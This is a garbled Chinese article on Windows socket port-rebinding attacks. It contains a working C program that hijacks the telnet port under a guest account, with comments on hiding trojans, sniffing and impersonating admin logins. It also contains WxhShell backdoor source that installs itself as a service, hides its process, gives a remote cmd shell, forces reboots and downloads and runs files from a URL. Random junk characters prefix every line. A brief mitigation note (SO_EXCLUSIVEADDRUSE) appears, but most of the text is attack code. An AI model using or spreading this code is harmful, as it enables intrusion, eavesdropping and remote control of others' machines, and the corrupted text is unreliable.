在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
AI .2os* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Q8DKU eh*F/Gu saddr.sin_family = AF_INET;
2Mu(GUe; V.[b${ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
=OR&,xt [{J1b bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
l`];CALA4 XB%`5wwd 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,7e 2M@=
=PoPp 这意味着什么?意味着可以进行如下的攻击:
p-/}@r3Z+ U4Pk^[,p1G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
1xwq:vFC. ;"%luQA<w 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
b$FXRR\G ||?wRMV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
? oGmGKq ;<` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
& l~=c2 5?|PC. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
5xG/>fn LZu_-I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
.]Z,O>N fGLOXbsA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;Y16I#?;Kh Q&9& )8- #include
jdVdz,Y #include
j!
cB #include
&nZ.$UK< #include
SHPZXJ{ DWORD WINAPI ClientThread(LPVOID lpParam);
\'N|1!EO|t int main()
Bb/aeLv {
j Ns eD WORD wVersionRequested;
#kGxX@0 DWORD ret;
8%9OB5?F6 WSADATA wsaData;
%K]nX#.B& BOOL val;
0b}lwo,|\ SOCKADDR_IN saddr;
+<I1@C SOCKADDR_IN scaddr;
O~&l.>?? int err;
k)USLA SOCKET s;
oDas~0<oh SOCKET sc;
8%#uZG\} int caddsize;
BF6H_g HANDLE mt;
ihhnB DWORD tid;
E0S[TEDa] wVersionRequested = MAKEWORD( 2, 2 );
sw &sF err = WSAStartup( wVersionRequested, &wsaData );
R:JS)>B if ( err != 0 ) {
( ]o6Pi printf("error!WSAStartup failed!\n");
9/|i.2& return -1;
#Ryu`b }
k07) g:_ saddr.sin_family = AF_INET;
VbX$i!>8 `o*g2fW! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|wj/lX7y egi?Qg saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2jx+q saddr.sin_port = htons(23);
z95V 7E if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Bf88f<Z {
y]\R0lR printf("error!socket failed!\n");
i&FC-{|Z return -1;
QX~*aqS3s8 }
Dl/_jM val = TRUE;
XT_BiZ%l5O //SO_REUSEADDR选项就是可以实现端口重绑定的
?8C+wW if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
M !OI :v {
bvR*sT#rg printf("error!setsockopt failed!\n");
$Y0bjS2J return -1;
M+^K, }
#(*WxVE //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
/ADxHw`k //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
IJXH_H_%* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
LDvF)Eg =-pss 47 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
JnY3] {
AQ
7e ret=GetLastError();
^! ZjK-$A< printf("error!bind failed!\n");
cCV"(Oo[H| return -1;
Nd!2 @?V4 }
"x$S%:p listen(s,2);
.Na>BR\F
while(1)
NV-9C$<n2! {
/9w}[y*E caddsize = sizeof(scaddr);
|H_)u //接受连接请求
PewPl0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
d8RpL{9\7 if(sc!=INVALID_SOCKET)
p
go\(K0 {
8rp-XiW mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
= xX^ if(mt==NULL)
BK d( {
\
bT]?.si printf("Thread Creat Failed!\n");
EJtU(HmW break;
Z#MODf0H@ }
'HcDl@E }
5!ReW39c; CloseHandle(mt);
/?XfVhA:A }
=OZ_\vO closesocket(s);
C${TC+z WSACleanup();
B=c^ma return 0;
cT0g, ^& }
}t-r:R$, DWORD WINAPI ClientThread(LPVOID lpParam)
N~ozyIP, {
-5ec8m8 SOCKET ss = (SOCKET)lpParam;
Y)
t}%62 SOCKET sc;
.CpF0 unsigned char buf[4096];
7:j #1N[p SOCKADDR_IN saddr;
`(a^=e5 long num;
U; q)01 DWORD val;
5~"=Fm<uD DWORD ret;
Ul'G
g //如果是隐藏端口应用的话,可以在此处加一些判断
86I* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Hf-F-~E saddr.sin_family = AF_INET;
%ej"ZeM saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
BmJ?VJ}Y saddr.sin_port = htons(23);
r#}Sy\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
uU\iji\ {
&^7)yS+C printf("error!socket failed!\n");
/&dt!.WY^ return -1;
<C{5(=X{ }
H5I#/j val = 100;
zXC In if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tj&A@\/ {
=%
JDo ret = GetLastError();
)yK!qu return -1;
I^|bQ3sor }
} R/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W[m_IY {
yN o8R[M ret = GetLastError();
UiEB?X]-l' return -1;
IyuT=A~Ki }
7A|jnm if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4>E2G: {
t;1NzI$^ printf("error!socket connect failed!\n");
~GeYB6F closesocket(sc);
,'673PR closesocket(ss);
t}FMBGo[ return -1;
+J4t0x }
%dU}GYL_ while(1)
/YbL{G
)j} {
eBV{B70k //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ybG)=0 //如果是嗅探内容的话,可以再此处进行内容分析和记录
i=a LC*@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
@6!JW(,]\ num = recv(ss,buf,4096,0);
`+o.w#cl if(num>0)
YC_^jRB8n send(sc,buf,num,0);
FTfA\/tl(; else if(num==0)
u@EM,o break;
{EUH#': num = recv(sc,buf,4096,0);
IXN4?=)I if(num>0)
M5V1j(URE send(ss,buf,num,0);
g3XAs@ else if(num==0)
!%X`c94 break;
D+3Y.r9 }
aVYUk7_ < closesocket(ss);
,H?p9L; qp closesocket(sc);
jb2:O,+! return 0 ;
{\&"I|dpe }
f)x}_dw% zOOX>3^ bSghf"aN ==========================================================
,lJ6"J\8. S8RB0^Q7 下边附上一个代码,,WXhSHELL
&3f.78a jQ)>XOok ==========================================================
5!zvoX9 \G@6jn1G( #include "stdafx.h"
j#f&!&G5<& "/?qT;<$) #include <stdio.h>
0d ->$gb #include <string.h>
sriz
b #include <windows.h>
JY+[ #include <winsock2.h>
srLr~^$j[ #include <winsvc.h>
&^_(xgJL #include <urlmon.h>
(O2HB-<rY eeZysCy+DY #pragma comment (lib, "Ws2_32.lib")
N0[I2'^. #pragma comment (lib, "urlmon.lib")
Ol9fwd 36a~! #define MAX_USER 100 // 最大客户端连接数
PuJ{!S\T7 #define BUF_SOCK 200 // sock buffer
7nz+n# #define KEY_BUFF 255 // 输入 buffer
{ NJ>[mKg 9VE;I:NO3 #define REBOOT 0 // 重启
H@ms43v\ #define SHUTDOWN 1 // 关机
QP%Fz#u` \2xBOe-a] #define DEF_PORT 5000 // 监听端口
N{t:%[ i_Z5SMZ #define REG_LEN 16 // 注册表键长度
t`,IW{ #define SVC_LEN 80 // NT服务名长度
ZD%_PgiT YnWl'{[ C // 从dll定义API
it@} dZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Y0\\(0j64 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
IJY5wP1" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
b,R'T+4[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
5]l7Z35 PAU+C_P // wxhshell配置信息
@a\SR'8 struct WSCFG {
BpG'e-2 int ws_port; // 监听端口
FT>~ES]cQd char ws_passstr[REG_LEN]; // 口令
aX)./ int ws_autoins; // 安装标记, 1=yes 0=no
je4&'vyU char ws_regname[REG_LEN]; // 注册表键名
D!a5#+\C char ws_svcname[REG_LEN]; // 服务名
q{/Jw"e char ws_svcdisp[SVC_LEN]; // 服务显示名
vfUfrk@D~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
Gc!8v}[7J char ws_passmsg[SVC_LEN]; // 密码输入提示信息
<]^;/2.B int ws_downexe; // 下载执行标记, 1=yes 0=no
:V~*vLvR char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
c dbSv=r char ws_filenam[SVC_LEN]; // 下载后保存的文件名
dMmka rDX'oP: };
{IHK<aW o`mIi // default Wxhshell configuration
hO.G'q$V struct WSCFG wscfg={DEF_PORT,
qd~98FS "xuhuanlingzhe",
8]":[s6x 1,
<>i+R#u{ "Wxhshell",
n qLAby_ "Wxhshell",
`F\:XuY "WxhShell Service",
mv*T=N8fC "Wrsky Windows CmdShell Service",
kj!7|1i2 "Please Input Your Password: ",
#S%Y;ilq 1,
vj&5` "
http://www.wrsky.com/wxhshell.exe",
4t
Nv q "Wxhshell.exe"
/cC6qhkp% };
YOV4)P" E97+GJ3 // 消息定义模块
SWjQ.aM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Q!Ow{(| char *msg_ws_prompt="\n\r? for help\n\r#>";
~po%GoH(K char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Va
Yu% char *msg_ws_ext="\n\rExit.";
_*ouo<x char *msg_ws_end="\n\rQuit.";
NTXL>Q*e char *msg_ws_boot="\n\rReboot...";
)_^WpyzF1 char *msg_ws_poff="\n\rShutdown...";
3U"') char *msg_ws_down="\n\rSave to ";
cYM~IA )ko{S[gG char *msg_ws_err="\n\rErr!";
k5t^s char *msg_ws_ok="\n\rOK!";
]vQ?]d?>a Yuo1'gE+ char ExeFile[MAX_PATH];
).}k6v[4) int nUser = 0;
BU:Ecchbr HANDLE handles[MAX_USER];
[AX"ne#M* int OsIsNt;
aaz"`,7_ +'['HQ) SERVICE_STATUS serviceStatus;
\q|7,S,5 SERVICE_STATUS_HANDLE hServiceStatusHandle;
6~F#F)C' c Z6p^ // 函数声明
}d~wDg<# int Install(void);
'"w}gx int Uninstall(void);
c@9Z&2) int DownloadFile(char *sURL, SOCKET wsh);
$FQcDo|[ int Boot(int flag);
7<1fKrN?GF void HideProc(void);
AX!>l; int GetOsVer(void);
|3,yq^2 int Wxhshell(SOCKET wsl);
5+bFy.UW void TalkWithClient(void *cs);
w,![;wG int CmdShell(SOCKET sock);
df>kEvU5.^ int StartFromService(void);
|Sr\jUIWn int StartWxhshell(LPSTR lpCmdLine);
<F)w=_%& 5B>Q6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#K#Mv/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
-|Yh/ +t>*l>[ // 数据结构和表定义
P
0Efh?oZ SERVICE_TABLE_ENTRY DispatchTable[] =
Y$x"4=~ {
mC:X4l]5 {wscfg.ws_svcname, NTServiceMain},
A3"1D {NULL, NULL}
umm \r&]A };
*"ykTqa
L8:]`MQ0 // 自我安装
=s0g2Zv"\ int Install(void)
pfL2v,]g {
r}R^<y@I char svExeFile[MAX_PATH];
dqD;y#/ HKEY key;
8K.s@< strcpy(svExeFile,ExeFile);
oE!hF }O }0BL0N`_ // 如果是win9x系统,修改注册表设为自启动
NqT1buU# if(!OsIsNt) {
ApG'jN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
gHvW
e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#juGD9e RegCloseKey(key);
7sud/*+F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Sf'i{xye RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$-$5ta{s RegCloseKey(key);
v~V;+S=gz return 0;
X:G&5 }
QJ a4R }
-_2Dy1 }
dd\bI_ else {
[xtK"E# |"CJ // 如果是NT以上系统,安装为系统服务
AZxrJ2G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
NV8]#b if (schSCManager!=0)
[|a(
y6Q {
uX<+hG.n} SC_HANDLE schService = CreateService
h4XcKv+ (
WYwzo V- schSCManager,
ezcS[r wscfg.ws_svcname,
VLh%XoQx[ wscfg.ws_svcdisp,
rWoe
?g SERVICE_ALL_ACCESS,
#Rin*HL## SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
/B,B4JI)/ SERVICE_AUTO_START,
?CH?kP SERVICE_ERROR_NORMAL,
0 NQ7#A svExeFile,
MV0<^/p| NULL,
4ef*9|^x# NULL,
a9#W9eP NULL,
w::r?.9 NULL,
^273l(CZ1 NULL
<Gr9^C );
bbd0ocva if (schService!=0)
3D
9N:c {
Az9X#h.vf CloseServiceHandle(schService);
:
cFF CloseServiceHandle(schSCManager);
rD0k%-{{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
M MAAHo strcat(svExeFile,wscfg.ws_svcname);
?_VRfeztw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
*he7BUO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
e>
ar RegCloseKey(key);
<TI3@9\qXE return 0;
G%2P }
_qY`KP" }
z@!^ow)`J CloseServiceHandle(schSCManager);
Y*Y&)k6t }
T$H2'tK| }
rGTWcJ 3AvVU]@&Z@ return 1;
PqT"jOF]n }
0fnZR$PB } c{Fa& // 自我卸载
=a?a@+ int Uninstall(void)
gWFL {
UskZ%J HKEY key;
/GsSrP_?] o*%3[HmV if(!OsIsNt) {
*Jb_=j*) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&}zRH}s; RegDeleteValue(key,wscfg.ws_regname);
w`M]0'zls RegCloseKey(key);
OYBotk]{1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d4ic9u*D RegDeleteValue(key,wscfg.ws_regname);
(JevHdI*V RegCloseKey(key);
+->\79<#V( return 0;
Dp!;7e s| }
yrO?Np }
iH[E=
6* }
+yth_9 else {
De;, =BSp (tJ91SBl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Qn*6D if (schSCManager!=0)
G-2EQ. {
v-ThdE$G# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^[en3aQ if (schService!=0)
6/|U {
c2/FHI0J; if(DeleteService(schService)!=0) {
rW[SU: CloseServiceHandle(schService);
DWuRJ CloseServiceHandle(schSCManager);
?#4+r_dP return 0;
bKYY{V55 }
AvZXRN1:' CloseServiceHandle(schService);
N].4"0Jv-D }
KZECo1 CloseServiceHandle(schSCManager);
ll_}& a0G }
F\JLbY{x] }
+q7qK* b 1cd&e return 1;
V{KjRSVf= }
O8gfiQqF& 1x{XE*%; // 从指定url下载文件
Mz93 int DownloadFile(char *sURL, SOCKET wsh)
?;Un#6b {
=Qyqfy*@D? HRESULT hr;
6mwvI4) char seps[]= "/";
#
2d,U\_ char *token;
PDhWFF char *file;
r9?o$=T char myURL[MAX_PATH];
n-d:O\] char myFILE[MAX_PATH];
"rVU4F) T4eWbNSs strcpy(myURL,sURL);
THJ
3-Ug token=strtok(myURL,seps);
A xf^hBP while(token!=NULL)
l7ZB3' {
(JWv *p file=token;
Q2q|*EL token=strtok(NULL,seps);
Eevw*;$x }
1XCmMZ L+73aN GetCurrentDirectory(MAX_PATH,myFILE);
&T7cH>E'K^ strcat(myFILE, "\\");
:aH%bk strcat(myFILE, file);
MZ)T0|S_ send(wsh,myFILE,strlen(myFILE),0);
AhR0zg send(wsh,"...",3,0);
~,T+JX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Oohq9f#! if(hr==S_OK)
vuZf#\zh} return 0;
Ym'7vW#~ else
mzu<C)9d, return 1;
z<t>hzl7 <E SvvTf }
U3/8A:$y 0F1u W>D1 // 系统电源模块
# J]~ int Boot(int flag)
;t|,nz4kJ {
aF!WIvir HANDLE hToken;
M"B@M5KT TOKEN_PRIVILEGES tkp;
b) Ux3PB ~ibF M5m if(OsIsNt) {
of=ql OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
vffH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"(<%Ua tkp.PrivilegeCount = 1;
@O'I)(To tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bTiBmS AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>d97l&W if(flag==REBOOT) {
J)#S-ZB+'k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ac|/Y$\w return 0;
.wD>Gs{sH[ }
)L >Q;' else {
e9lOk)`t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%;tJQ%6-.S return 0;
w]F!2b! }
GoazH?% }
"ct58Y@ else {
T~h.=5 if(flag==REBOOT) {
t?HF-zQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
# v+;: return 0;
FJ}gUs{m }
j-QGOuvW else {
lM$t!2pRB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
>%l:Dw\A: return 0;
oJh"@6u6K }
TVYz3~m }
i+I0k~wY /~tP7<7A return 1;
:s]\k%" }
**n y!
jC4O` // win9x进程隐藏模块
o<nS_x void HideProc(void)
&1l~&,, {
*t]v}ZV* jI A#!4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
}qL~KA{& if ( hKernel != NULL )
\OT6L'l], {
]q&tQJ/Fa pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
??j&i6sp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
k/@Tr
: FreeLibrary(hKernel);
pjdo| }
d+e0;!s~O ni<[G0#T return;
/e(W8aszi }
AX K95eS (7~%B" // 获取操作系统版本
2eHx"Ha int GetOsVer(void)
D?mDG|Z {
_Z$?^gn OSVERSIONINFO winfo;
i?x$w{co winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
F)7j@h^ GetVersionEx(&winfo);
9$wAm89 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
##GY<\",; return 1;
5e8xKL else
p(?g- return 0;
vzG ABP }
e,"FnW 3e *-\TP- // 客户端句柄模块
)P%4:P int Wxhshell(SOCKET wsl)
E<k^S{ {
fdLBhe#9M SOCKET wsh;
9(Jy0]E~ struct sockaddr_in client;
R(`]n!V2 DWORD myID;
D7gHE ]VDn'@uM while(nUser<MAX_USER)
#2N_/J(U {
Wj tft% int nSize=sizeof(client);
4kh8W~i;/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
=+\$e1Mb* if(wsh==INVALID_SOCKET) return 1;
O+b6lg)q
#Z0-8<\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(kY@7)d'e if(handles[nUser]==0)
9DPb|+O- closesocket(wsh);
%N1"*</q else
djGs~H>;U_ nUser++;
cWM: }
@k9Pz<ub WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7f
r>ZY^ 0MrN:M2B return 0;
^vM_kArA }
1]Lh'.1^ P7UJ-2%Y+ // 关闭 socket
x0ne8NDP void CloseIt(SOCKET wsh)
Why"G1` {
f"P$f8$ closesocket(wsh);
_A3X6 nUser--;
@ZG>mP1Vo ExitThread(0);
Zw24f1iY }
8i[LR#D) N|<bVq% // 客户端请求句柄
[<S^c[47U void TalkWithClient(void *cs)
A2BRbwr> {
t}~UYG(h~ #Cx%OIi[f SOCKET wsh=(SOCKET)cs;
Ld~ q1*7J char pwd[SVC_LEN];
7>mhK7l char cmd[KEY_BUFF];
Wc\+x1 :8 char chr[1];
ZB0+GG\ int i,j;
S<pkc8 2vvh|?M while (nUser < MAX_USER) {
z7k$0& P5P<" if(wscfg.ws_passstr) {
tR;{. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
q5?{1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
gwq`_/d} //ZeroMemory(pwd,KEY_BUFF);
}hq^+fC? i=0;
Y/D-V while(i<SVC_LEN) {
HU9p!I. `x2,;h!:)N // 设置超时
~1ps7[ fd_set FdRead;
>f%, `r struct timeval TimeOut;
JhH`uA& FD_ZERO(&FdRead);
3.FR C FD_SET(wsh,&FdRead);
u#3)p TimeOut.tv_sec=8;
,5w]\z TimeOut.tv_usec=0;
-=sf}4A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Q1]Wo9j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
*{nunb>WO O4!9{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
xEC2@J pwd
=chr[0]; I*(1.%:m
if(chr[0]==0xd || chr[0]==0xa) { H`gb}?9R
pwd=0; 2rmNdvvrk
break; C5;wf3
} bQj`g2eyM
i++; Bj=@&;
} =]d^3bqN
5W{hH\E _5
// 如果是非法用户,关闭 socket W0|_]"K-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tvT4S
} B%mtp;) P
D:)~%wu Lt
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OEI3eizgH
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :~erh}~ps
Q0WY$w1<
while(1) { C]Q>*=r
xl9(ze
ZeroMemory(cmd,KEY_BUFF); fB7ljg
dk8y>uLr_
// 自动支持客户端 telnet标准 k% NrL@z
j=0; ki3 HcV
while(j<KEY_BUFF) { ,ex]$fQ'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bM5CDzH(#X
cmd[j]=chr[0]; lz}llLb1
if(chr[0]==0xa || chr[0]==0xd) { qw2)v*Fn
cmd[j]=0; XECikld>
break; s6/cL|Ex
} 2m_H*1HJ
j++; 0mVuD\#=!
} mtIMW9
0Nt%YP
// 下载文件 .*:h9AE7vo
if(strstr(cmd,"http://")) { |,{+;:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8m|x#*5fQl
if(DownloadFile(cmd,wsh)) 7JS#a=D#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &urb!tQ>&
else gW}} 5Xq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eVrNYa1>H
} (rIXbekgB
else { ,#
eO&
Lrlk*
switch(cmd[0]) { FCAJavOGH
H4 =IY
// 帮助 U1jSUkqb
case '?': { I:HV6_/^-G
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $YPQC
break; #r(a~
} ;M-,HK4=
// 安装 j
C9<hLt
case 'i': { %]!?{U\*k
if(Install()) ExQ--!AC=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w~]}acP
else F=:c5z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $82zy q
break; w0aHEvH/
} 7>
)l{7
// 卸载 jOtzx"/)rE
case 'r': { N" ; ^S
if(Uninstall()) g4Bg6<;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PK8V2Ttv
else Rd0?zEKV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B]i+,u
break; "(N-h\7Ex9
} D"'#one
// 显示 wxhshell 所在路径 Rn8#0%/Q
case 'p': { ^>eFm8`N
char svExeFile[MAX_PATH]; Nl=+.d6Qo
strcpy(svExeFile,"\n\r"); +yvBSpY
strcat(svExeFile,ExeFile); Q6xgLx[
send(wsh,svExeFile,strlen(svExeFile),0); ;=#qHo9k1%
break; Xz"
JY
} 9'l.TcVm`,
// 重启 kr6:{\DU:B
case 'b': { |NXFla
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ypxC1E
if(Boot(REBOOT)) S;BP`g<l=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WVj&0
else { J09ZK8
hK
closesocket(wsh); *x5o=)Y
ExitThread(0); 27$\sG|g
} N!Rt;Xm2@
break; wAPO{3
} X+\0%|
// 关机 7@3M]5:3g
case 'd': { !SN6
?Xy
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m[{nm95QZ
if(Boot(SHUTDOWN)) %N!h38N2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WGluZhRuT3
else { N:5b1TdI,
closesocket(wsh); WI%zr2T
ExitThread(0); eUYG96Jw
} 4U:DJ_GN
break; WtMcI>4w
} cS+?s=d
// 获取shell v#w4{.8)
case 's': { PVS\,
CmdShell(wsh); m79m{!q$-
closesocket(wsh); S|tA[klh
ExitThread(0); l8eT{!4
break; zC[i <'h!T
} ^BQ>vI'.4
// 退出 >Y44{D\`
case 'x': { Z5 w`-#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zp}yiE!bl
CloseIt(wsh);
4{c`g$j>
break; M,I68
} A7mMgb_
// 离开 !Mm+bWn=mB
case 'q': { l^)o'YS y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); HdDo
closesocket(wsh); !N@Yh"c
WSACleanup(); Z8N@e<!*~8
exit(1); lrM.RM96
break; \z<ws&z3`$
} h4B+0
} <#:Ebofsn
} _Jt_2o%G
]KfghRUH
// 提示信息 A632 :V
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &:IfhS
} jqV)V> M.
} aU,0gvI(}
_gis+f/8h
return; 94S .9A
} yOn H&Jj
5VCMpy
// shell模块句柄 bf&.rJ0
int CmdShell(SOCKET sock) RI7qsm6RN
{ ;F"
kD
STARTUPINFO si; }?\#_BCjx(
ZeroMemory(&si,sizeof(si)); sASAsGk<
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
dfYYyE
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AycA:<
PROCESS_INFORMATION ProcessInfo; WoC\a^V
char cmdline[]="cmd"; 1)nM#@%](h
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k
2
mkOb
return 0; '` BjRg57]
} +Y_Q?/M@8
:..E:HdYO
// 自身启动模式 ljaAB+
int StartFromService(void) UtHmM,*I
{ hnM9-hqm
typedef struct !xJLeQFJI]
{
!;BZ# tF&
DWORD ExitStatus; !07FsPI#{
DWORD PebBaseAddress; xF\}.OfWG
DWORD AffinityMask;
Ep#<$6>
DWORD BasePriority; p0%6@_FT~
ULONG UniqueProcessId; 4DG 9`5.
ULONG InheritedFromUniqueProcessId; ;@h'Mb
